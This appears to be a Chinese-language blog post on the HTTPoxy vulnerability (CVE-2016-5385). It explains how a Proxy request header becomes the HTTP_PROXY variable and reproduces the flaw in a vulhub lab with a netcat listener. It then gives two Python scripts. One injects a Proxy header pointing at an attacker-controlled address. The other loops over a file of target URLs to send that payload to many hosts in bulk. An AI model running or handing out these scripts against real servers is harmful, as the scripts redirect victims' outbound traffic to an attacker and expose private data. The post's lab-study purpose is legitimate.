HTTPoxy漏洞远程攻击(CVE-2016-5385)

HTTPoxy介绍

httpoxy是cgi中的一个环境变量。而服务器和CGI程序之间通信,一般是通过进程的环境变量和管道

CGI是通用网关接口,一段运行在服务器中的程序

漏洞描述

在CGI中会将http头部,加上HTTP_前缀,注册为环境变量。当header中发送一个Proxy,就会将她注册为HTTP_PROXY环境变量,可以获取目标主机的隐私数据。

影响环境:HAProxy、Varnish、OpenBSD relayd、lighttpd、PHP、Python

漏洞复现

打开vulhub环境,进行网页访问,这里网页显示的是公网ip

image-20220218085853959

进行抓包修改,在header中加入proxy,进行发包,返回的也是公网ip

image-20220218073922586

在另一端进行监听,接受数据

nc -lvp 8000

image-20220218074140952.png

建议使用有公网ip服务器进行操作,否则需要多次尝试。

脚本编写

首先进行发送包的编写。实现字典进行跑。

  • 发送包的编写监听端口验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://192.168.1.134:8080/index.php'
header = {
'Upgraade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Proxy':'192.168.1.128'
}
vps = requests.get(url=url,headers=header)
print(vps.text) #获取返回网页

  • 实现字典跑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

with open('D:/桌面/211.txt') as file:
for files in file:
if not files:
break
url = files
header = {
'Upgraade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9',
'Proxy':'192.168.1.128'
}
vps = requests.get(url=url,headers=header)
print(vps.text)
------ 本文结束------